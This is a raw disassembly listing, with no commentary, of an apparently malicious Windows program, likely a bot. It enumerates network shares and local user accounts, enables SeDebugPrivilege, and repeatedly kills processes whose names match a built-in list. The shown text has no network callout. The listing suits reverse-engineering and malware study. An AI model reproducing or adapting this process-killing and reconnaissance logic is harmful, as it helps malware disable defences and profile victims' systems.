cmp eax, 35h
jz short loc_41BD9B
cmp eax, 57h
jnz loc_41BE57
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BD9B: ; CODE XREF: sub_41BD5A+2Cj
push offset aServerNameNotF ; "Server name not found."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDA5: ; CODE XREF: sub_41BD5A+27j
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDAF: ; CODE XREF: sub_41BD5A+22j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDB9: ; CODE XREF: sub_41BD5A+1Dj
push offset aAccessDenied_ ; "Access denied."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDC3: ; CODE XREF: sub_41BD5A+18j
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDCD: ; CODE XREF: sub_41BD5A+16j
sub eax, 7Ch
jz short loc_41BDFA
sub eax, 7C8h
jz short loc_41BDF3
dec eax
jz short loc_41BDE9
dec eax
jnz short loc_41BE57
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDE9: ; CODE XREF: sub_41BD5A+80j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDF3: ; CODE XREF: sub_41BD5A+7Dj
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BDFA: ; CODE XREF: sub_41BD5A+76j
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE01: ; CODE XREF: sub_41BD5A+Dj
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE08: ; CODE XREF: sub_41BD5A+7j
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41BE41
jz short loc_41BE3A
sub eax, 8ADh
jz short loc_41BE6C
dec eax
dec eax
jz short loc_41BE33
dec eax
jz short loc_41BE2C
dec eax
dec eax
jnz short loc_41BE57
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE2C: ; CODE XREF: sub_41BD5A+C5j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE33: ; CODE XREF: sub_41BD5A+C2j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE3A: ; CODE XREF: sub_41BD5A+B7j
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE41: ; CODE XREF: sub_41BD5A+B5j
sub eax, 8CAh
jz short loc_41BE73
sub eax, 17h
jz short loc_41BE6C
sub eax, 25h
jz short loc_41BE65
sub eax, 29h
jz short loc_41BE5E
loc_41BE57: ; CODE XREF: sub_41BD5A+31j
; sub_41BD5A+83j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE5E: ; CODE XREF: sub_41BD5A+FBj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE65: ; CODE XREF: sub_41BD5A+F6j
push offset aShareNotFound_ ; "Share not found."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE6C: ; CODE XREF: sub_41BD5A+BEj
; sub_41BD5A+F1j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_41BE78
; ---------------------------------------------------------------------------
loc_41BE73: ; CODE XREF: sub_41BD5A+ECj
push offset aNetworkConnect ; "Network connection not found."
loc_41BE78: ; CODE XREF: sub_41BD5A+3Cj
; sub_41BD5A+46j ...
push offset byte_4E1F10 ; Dest
call _sprintf
pop ecx
pop ecx
mov eax, offset byte_4E1F10
retn
sub_41BD5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41BE8A(char *Source)
sub_41BE8A proc near ; CODE XREF: sub_40274D+44CAp
Str = word ptr -71Ch
var_31C = byte ptr -31Ch
var_10C = byte ptr -10Ch
var_4 = dword ptr -4
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 71Ch
push esi
push 200h ; MaxCount
push [ebp+Source] ; Source
lea eax, [ebp+Str]
push eax ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
mov esi, 108h
push eax
mov [ebp+var_4], esi
call ds:dword_42B05C ; GetComputerNameA
push esi ; MaxCount
lea eax, [ebp+var_10C]
push eax ; Source
lea eax, [ebp+var_31C]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+Str]
push eax
push 0
lea eax, [ebp+var_31C]
push eax
push 0
call dword_444114
test eax, eax
jnz short loc_41BF1A
push offset asc_438744 ; "-"
mov esi, offset byte_4E1F70
push esi ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF1A: ; CODE XREF: sub_41BE8A+7Aj
lea ecx, [ebp+Str]
push ecx
lea ecx, [ebp+var_31C]
push ecx
call sub_41BD5A
push eax
push offset asc_438718 ; "-"
mov esi, offset byte_4E1F70
push esi ; Dest
call _sprintf
add esp, 14h
loc_41BF41: ; CODE XREF: sub_41BE8A+8Ej
mov eax, esi
pop esi
leave
retn
sub_41BE8A endp
; =============== S U B R O U T I N E =======================================
sub_41BF46 proc near ; CODE XREF: sub_40274D:loc_406A33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41BF9C
push 0
lea esi, [eax+eax*2]
push 0
shl esi, 2
push dword_443400[esi]
push edi
push eax
call sub_41B465
add esp, 14h
test eax, eax
jnz short loc_41BF8E
push edi
push off_4433FC[esi]
push offset asc_4387BC ; "-"
loc_41BF7E: ; CODE XREF: sub_41BF46+54j
mov esi, offset byte_4E2170
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_41BFB9
; ---------------------------------------------------------------------------
loc_41BF8E: ; CODE XREF: sub_41BF46+2Aj
call sub_41B507
push eax
push edi
push offset unk_438790
jmp short loc_41BF7E
; ---------------------------------------------------------------------------
loc_41BF9C: ; CODE XREF: sub_41BF46+Cj
lea eax, [eax+eax*2]
push off_4433F8[eax*4]
mov esi, offset byte_4E2170
push offset asc_43876C ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_41BFB9: ; CODE XREF: sub_41BF46+46j
pop edi
mov eax, esi
pop esi
retn
sub_41BF46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41BFBE(int,char *Str,int)
sub_41BFBE proc near ; CODE XREF: sub_40274D:loc_406B1Dp
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Str]
test edi, edi
jz loc_41C056
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41BFE7
dec eax
jnz short loc_41C036
push edi
push 0
call sub_41B8EE
pop ecx
pop ecx
jmp short loc_41C032
; ---------------------------------------------------------------------------
loc_41BFE7: ; CODE XREF: sub_41BFBE+18j
cmp [ebp+arg_8], 0
jnz short loc_41C024
push 24h ; Val
push edi ; Str
call _strchr
test eax, eax
pop ecx
pop ecx
jnz short loc_41C024
push 57h
pop eax
loc_41BFFE: ; CODE XREF: sub_41BFBE+76j
call sub_41BD5A
push eax
push edi
lea eax, [esi+esi*2]
push off_4433F8[eax*4]
mov esi, offset byte_4E2370
push offset asc_438818 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_41C076
; ---------------------------------------------------------------------------
loc_41C024: ; CODE XREF: sub_41BFBE+2Dj
; sub_41BFBE+3Bj
push [ebp+arg_8] ; int
push edi ; Str
push 0 ; int
call sub_41B883
add esp, 0Ch
loc_41C032: ; CODE XREF: sub_41BFBE+27j
test eax, eax
jnz short loc_41BFFE
loc_41C036: ; CODE XREF: sub_41BFBE+1Bj
push edi
lea eax, [esi+esi*2]
push off_4433FC[eax*4]
mov esi, offset byte_4E2370
push offset asc_4387FC ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_41C076
; ---------------------------------------------------------------------------
loc_41C056: ; CODE XREF: sub_41BFBE+Aj
mov eax, [ebp+arg_0]
lea eax, [eax+eax*2]
push off_4433F8[eax*4]
mov esi, offset byte_4E2370
push offset asc_4387D8 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_41C076: ; CODE XREF: sub_41BFBE+64j
; sub_41BFBE+96j
pop edi
mov eax, esi
pop esi
pop ebp
retn
sub_41BFBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C07C(int,char *Str,int,int)
sub_41C07C proc near ; CODE XREF: sub_40274D+43F9p
Dest = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_41B7C1
xor esi, esi
push esi ; int
push [ebp+arg_8] ; int
mov [ebp+var_10], eax
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+Str] ; Str
mov [ebp+var_4], esi
push [ebp+arg_0] ; int
mov [ebp+var_14], esi
mov [ebp+var_C], esi
call sub_40123B
add esp, 18h
loc_41C0B5: ; CODE XREF: sub_41C07C+10Dj
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_8]
push eax
push 1F6h
push [ebp+var_10]
call dword_44420C
mov ebx, eax
cmp ebx, esi
jz short loc_41C116
cmp ebx, 0EAh
jz short loc_41C116
push ebx
call sub_41BD5A
push eax
lea eax, [ebp+Dest]
push offset asc_438864 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 24h
jmp short loc_41C183
; ---------------------------------------------------------------------------
loc_41C116: ; CODE XREF: sub_41C07C+5Dj
; sub_41C07C+65j
xor edi, edi
inc edi
cmp [ebp+var_4], edi
jb short loc_41C17A
mov esi, [ebp+var_8]
add esi, 14h
loc_41C124: ; CODE XREF: sub_41C07C+FAj
push dword ptr [esi+10h]
call dword_444204 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41C13B
mov eax, offset aNo ; "No"
loc_41C13B: ; CODE XREF: sub_41C07C+B8j
push eax
push dword ptr [esi]
lea eax, [ebp+Dest]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax ; Dest
call _sprintf
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+var_4]
jbe short loc_41C124
xor esi, esi
loc_41C17A: ; CODE XREF: sub_41C07C+A0j
push [ebp+var_8]
call dword_444140
loc_41C183: ; CODE XREF: sub_41C07C+98j
cmp ebx, 0EAh
jz loc_41C0B5
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41C07C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C19B(int,int,int,int,char *Str,int)
sub_41C19B proc near ; CODE XREF: sub_40274D:loc_406BABp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41C23E
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41C1DD
dec eax
jz short loc_41C1D2
dec eax
jnz short loc_41C1F8
push [ebp+arg_14] ; int
push [ebp+Str] ; Str
push [ebp+arg_C] ; int
push ebx ; int
push edi ; int
call sub_41B98C
add esp, 14h
jmp short loc_41C1F4
; ---------------------------------------------------------------------------
loc_41C1D2: ; CODE XREF: sub_41C19B+1Dj
push ebx
push edi
call sub_41B96B
pop ecx
pop ecx
jmp short loc_41C1F4
; ---------------------------------------------------------------------------
loc_41C1DD: ; CODE XREF: sub_41C19B+1Aj
cmp [ebp+arg_8], edi
jz short loc_41C1F1
push [ebp+arg_8]
push ebx
push edi
call sub_41B911
add esp, 0Ch
jmp short loc_41C1F4
; ---------------------------------------------------------------------------
loc_41C1F1: ; CODE XREF: sub_41C19B+45j
push 57h
pop eax
loc_41C1F4: ; CODE XREF: sub_41C19B+35j
; sub_41C19B+40j ...
cmp eax, edi
jnz short loc_41C218
loc_41C1F8: ; CODE XREF: sub_41C19B+20j
push ebx
lea eax, [esi+esi*2]
push off_4433FC[eax*4]
mov esi, offset byte_4E2570
push offset asc_43891C ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_41C25E
; ---------------------------------------------------------------------------
loc_41C218: ; CODE XREF: sub_41C19B+5Bj
call sub_41BD5A
push eax
push ebx
lea eax, [esi+esi*2]
push off_4433F8[eax*4]
mov esi, offset byte_4E2570
push offset asc_4388EC ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_41C25E
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C19B+Dj
mov eax, [ebp+arg_0]
lea eax, [eax+eax*2]
push off_4433F8[eax*4]
mov esi, offset byte_4E2570
push offset asc_4388C4 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_41C25E: ; CODE XREF: sub_41C19B+7Bj
; sub_41C19B+A1j
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn
sub_41C19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C265(int,char *Str,int,int)
sub_41C265 proc near ; CODE XREF: sub_40274D+4487p
Dest = byte ptr -21Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 21Ch
push esi
push edi
push [ebp+arg_C]
xor esi, esi
mov [ebp+var_4], esi
call sub_41B7C1
push esi ; int
push [ebp+arg_8] ; int
mov [ebp+var_18], eax
push offset aUsernameAccoun ; "Username accounts for local system:"
push [ebp+Str] ; Str
mov [ebp+var_8], esi
push [ebp+arg_0] ; int
mov [ebp+var_14], esi
mov [ebp+var_1C], esi
mov [ebp+var_C], esi
call sub_40123B
add esp, 18h
push ebx
loc_41C2A4: ; CODE XREF: sub_41C265+129j
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_4]
push eax
push 2
push esi
push [ebp+var_18]
call dword_4440E0
cmp eax, esi
mov [ebp+var_10], eax
jz short loc_41C303
cmp eax, 0EAh
jz short loc_41C303
push eax
call sub_41BD5A
push eax
lea eax, [ebp+Dest]
push offset asc_438988 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 24h
jmp short loc_41C374
; ---------------------------------------------------------------------------
loc_41C303: ; CODE XREF: sub_41C265+62j
; sub_41C265+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41C387
xor ebx, ebx
cmp [ebp+var_8], esi
jbe short loc_41C374
loc_41C311: ; CODE XREF: sub_41C265+E7j
cmp edi, esi
lea eax, [ebp+Dest]
jz short loc_41C350
push dword ptr [edi]
push offset aS_5 ; " %S"
push eax ; Dest
call _sprintf
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
add edi, 4
inc [ebp+var_C]
inc ebx
cmp ebx, [ebp+var_8]
jb short loc_41C311
jmp short loc_41C374
; ---------------------------------------------------------------------------
loc_41C350: ; CODE XREF: sub_41C265+B4j
push offset asc_438954 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 1Ch
loc_41C374: ; CODE XREF: sub_41C265+9Cj
; sub_41C265+AAj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41C387
push edi
call dword_444140
xor edi, edi
mov [ebp+var_4], edi
loc_41C387: ; CODE XREF: sub_41C265+A3j
; sub_41C265+114j
cmp [ebp+var_10], 0EAh
jz loc_41C2A4
cmp edi, esi
pop ebx
jz short loc_41C3A0
push edi
call dword_444140
loc_41C3A0: ; CODE XREF: sub_41C265+132j
push [ebp+var_C]
lea eax, [ebp+Dest]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax ; Dest
call _sprintf
push esi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
xor eax, eax
cmp [ebp+var_10], esi
pop edi
setz al
pop esi
leave
retn
sub_41C265 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3D9 proc near ; CODE XREF: sub_419FFD+45p
; sub_419FFD+165p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_42B09C ; GetCurrentProcess
push eax
call dword_444244 ; OpenProcessToken
test eax, eax
jnz short loc_41C3F8
leave
retn
; ---------------------------------------------------------------------------
loc_41C3F8: ; CODE XREF: sub_41C3D9+1Bj
push esi
lea eax, [ebp+var_10]
push eax
push [ebp+arg_0]
xor esi, esi
push esi
call dword_444228 ; LookupPrivilegeValueA
test eax, eax
jz short loc_41C436
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_41C41F
or [ebp+var_8], 2
jmp short loc_41C423
; ---------------------------------------------------------------------------
loc_41C41F: ; CODE XREF: sub_41C3D9+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41C423: ; CODE XREF: sub_41C3D9+44j
push esi
push esi
push esi
lea eax, [ebp+var_14]
push eax
push esi
push [ebp+var_4]
call dword_444170 ; AdjustTokenPrivileges
mov esi, eax
loc_41C436: ; CODE XREF: sub_41C3D9+32j
push [ebp+var_4]
call ds:dword_42B004 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_41C3D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=60h
; int __cdecl sub_41C444(int,char *Str,int,char *Str2,int,int)
sub_41C444 proc near ; CODE XREF: sub_40274D+7533p
; sub_41C66C+67p ...
Dest = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
Str1 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
Str2 = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
lea ebp, [esp-60h]
sub esp, 550h
push ebx
push esi
push edi
xor ebx, ebx
push 49h
xor eax, eax
cmp dword_4440F0, ebx
pop ecx
lea edi, [ebp+60h+var_128]
mov [ebp+60h+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+60h+var_34C]
mov [ebp+60h+var_350], ebx
rep stosd
jz loc_41C635
cmp dword_444154, ebx
jz loc_41C635
cmp dword_4440A4, ebx
jz loc_41C635
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41C3D9
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4440F0 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+60h+var_4], edi
jz loc_41C628
lea eax, [ebp+60h+var_12C]
push eax
push edi
mov [ebp+60h+var_12C], 128h
call dword_444154 ; Process32First
test eax, eax
mov esi, ds:dword_42B004
jz loc_41C623
lea eax, [ebp+60h+var_12C]
push eax
push edi
call dword_4440A4 ; Process32Next
test eax, eax
jz loc_41C623
mov ebx, ds:dword_42B040
loc_41C505: ; CODE XREF: sub_41C444+1D7j
xor edi, edi
cmp [ebp+60h+arg_10], edi
jz short loc_41C562
loc_41C50C: ; CODE XREF: sub_41C444+E5j
push off_443458[edi]
lea eax, [ebp+60h+Str1]
push eax
call ds:dword_42B124 ; lstrcmpi
test eax, eax
jz short loc_41C530
add edi, 4
cmp edi, 60h
jb short loc_41C50C
jmp loc_41C609
; ---------------------------------------------------------------------------
loc_41C530: ; CODE XREF: sub_41C444+DDj
push [ebp+60h+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
mov edi, eax
test edi, edi
jz loc_41C609
push 0
push edi
call ds:dword_42B094 ; TerminateProcess
test eax, eax
jnz loc_41C609
loc_41C55A: ; CODE XREF: sub_41C444+1ABj
push edi
call esi ; CloseHandle
jmp loc_41C609
; ---------------------------------------------------------------------------
loc_41C562: ; CODE XREF: sub_41C444+C6j
cmp [ebp+60h+Str2], edi
jnz loc_41C5F4
cmp [ebp+60h+Str], edi
jz loc_41C609
push [ebp+60h+var_124]
push 8
call dword_4440F0 ; CreateToolhelp32Snapshot
cmp [ebp+60h+arg_14], 0
mov edi, eax
mov [ebp+60h+var_350], 224h
jz short loc_41C5B4
lea eax, [ebp+60h+var_350]
push eax
push edi
call dword_444118 ; Module32First
test eax, eax
push [ebp+60h+var_124]
jz short loc_41C5BA
lea eax, [ebp+60h+var_230]
jmp short loc_41C5C0
; ---------------------------------------------------------------------------
loc_41C5B4: ; CODE XREF: sub_41C444+14Ej
push [ebp+60h+var_124]
loc_41C5BA: ; CODE XREF: sub_41C444+166j
lea eax, [ebp+60h+Str1]
loc_41C5C0: ; CODE XREF: sub_41C444+16Ej
push eax
lea eax, [ebp+60h+Dest]
push offset aSD_0 ; " %s (%d)"
push eax ; Dest
call _sprintf
add esp, 10h
push 1 ; int
push [ebp+60h+arg_8] ; int
lea eax, [ebp+60h+Dest]
push eax ; int
push [ebp+60h+Str] ; Str
push [ebp+60h+arg_0] ; int
call sub_40123B
add esp, 14h
jmp loc_41C55A
; ---------------------------------------------------------------------------
loc_41C5F4: ; CODE XREF: sub_41C444+121j
push [ebp+60h+Str2] ; Str2
lea eax, [ebp+60h+Str1]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_41C63F
loc_41C609: ; CODE XREF: sub_41C444+E7j
; sub_41C444+FFj ...
lea eax, [ebp+60h+var_12C]
push eax
push [ebp+60h+var_4]
call dword_4440A4 ; Process32Next
test eax, eax
jnz loc_41C505
xor ebx, ebx
loc_41C623: ; CODE XREF: sub_41C444+9Fj
; sub_41C444+B5j
push [ebp+60h+var_4]
call esi ; CloseHandle
loc_41C628: ; CODE XREF: sub_41C444+79j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41C3D9
pop ecx
pop ecx
loc_41C635: ; CODE XREF: sub_41C444+3Cj
; sub_41C444+48j ...
xor eax, eax
loc_41C637: ; CODE XREF: sub_41C444+226j
pop edi
pop esi
pop ebx
add ebp, 60h
leave
retn
; ---------------------------------------------------------------------------
loc_41C63F: ; CODE XREF: sub_41C444+1C3j
push [ebp+60h+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
push [ebp+60h+var_4]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_42B094 ; TerminateProcess
test eax, eax
jnz short loc_41C667
push edi
call esi ; CloseHandle
jmp short loc_41C635
; ---------------------------------------------------------------------------
loc_41C667: ; CODE XREF: sub_41C444+21Cj
xor eax, eax
inc eax
jmp short loc_41C637
sub_41C444 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_41C66C proc near ; DATA XREF: sub_40274D+24CAo
Dest = byte ptr -298h
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 298h
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_98]
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+74h+Dest]
push offset asc_438B70 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
cmp [ebp+74h+var_8], esi
pop ecx
pop ecx
jnz short loc_41C6C4
push esi ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_98] ; int
call sub_40123B
add esp, 14h
loc_41C6C4: ; CODE XREF: sub_41C66C+3Cj
push [ebp+74h+var_10] ; int
lea eax, [ebp+74h+Str]
push esi ; int
push esi ; Str2
push [ebp+74h+var_C] ; int
push eax ; Str
push [ebp+74h+var_98] ; int
call sub_41C444
add esp, 18h
test eax, eax
lea eax, [ebp+74h+Dest]
jnz short loc_41C6EC
push offset unk_438B4C
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C6EC: ; CODE XREF: sub_41C66C+77j
push offset asc_438B28 ; "-"
loc_41C6F1: ; CODE XREF: sub_41C66C+7Ej
push eax ; Dest
call _sprintf
cmp [ebp+74h+var_8], esi
pop ecx
pop ecx
jnz short loc_41C718
push esi ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_98] ; int
call sub_40123B
add esp, 14h
loc_41C718: ; CODE XREF: sub_41C66C+90j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_14]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41C66C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C736 proc near ; CODE XREF: sub_40274D+74D4p
; sub_40AF6E+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
push 0
push 1F0FFFh
inc edi
call ds:dword_42B040 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41C768
push 0
push esi
call ds:dword_42B094 ; TerminateProcess
test eax, eax
jnz short loc_41C768
push esi
xor edi, edi
call ds:dword_42B004 ; CloseHandle
loc_41C768: ; CODE XREF: sub_41C736+1Aj
; sub_41C736+27j
mov eax, edi
pop edi
pop esi
retn
sub_41C736 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C76D proc near ; DATA XREF: WinMain(x,x,x,x)+3B4o
push esi
xor esi, esi
loc_41C770: ; CODE XREF: sub_41C76D+1Ej
push 1 ; int
push esi ; int
push esi ; Str2
push esi ; int
push esi ; Str
push esi ; int
call sub_41C444
add esp, 18h
push dword_443450
call ds:dword_42B014 ; Sleep
jmp short loc_41C770
sub_41C76D endp
; =============== S U B R O U T I N E =======================================
sub_41C78D proc near ; CODE XREF: sub_41C7BD+2Ap
; sub_41C7F5+7Ep ...
mov eax, dword_4E277C
cmp eax, 0FFFFFFFFh
push esi
mov esi, ds:dword_42B004
jz short loc_41C7A1
push eax
call esi ; CloseHandle
loc_41C7A1: ; CODE XREF: sub_41C78D+Fj
mov eax, dword_4E2778
cmp eax, 0FFFFFFFFh
jz short loc_41C7AE
push eax
call esi ; CloseHandle
loc_41C7AE: ; CODE XREF: sub_41C78D+1Cj
mov eax, dword_4E27B4
cmp eax, 0FFFFFFFFh
jz short loc_41C7BB
push eax
call esi ; CloseHandle
loc_41C7BB: ; CODE XREF: sub_41C78D+29j
pop esi
retn
sub_41C78D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BD(char *Str)
sub_41C7BD proc near ; CODE XREF: sub_40274D+7216p
; sub_418799+121p
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+Str] ; Str
call _strlen
pop ecx
push 0
lea ecx, [ebp+var_4]
push ecx
push eax
push [ebp+Str]
mov [ebp+var_4], eax
push dword_4E2770
call ds:dword_42B084 ; WriteFile
test eax, eax
jnz short loc_41C7F0
call sub_41C78D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
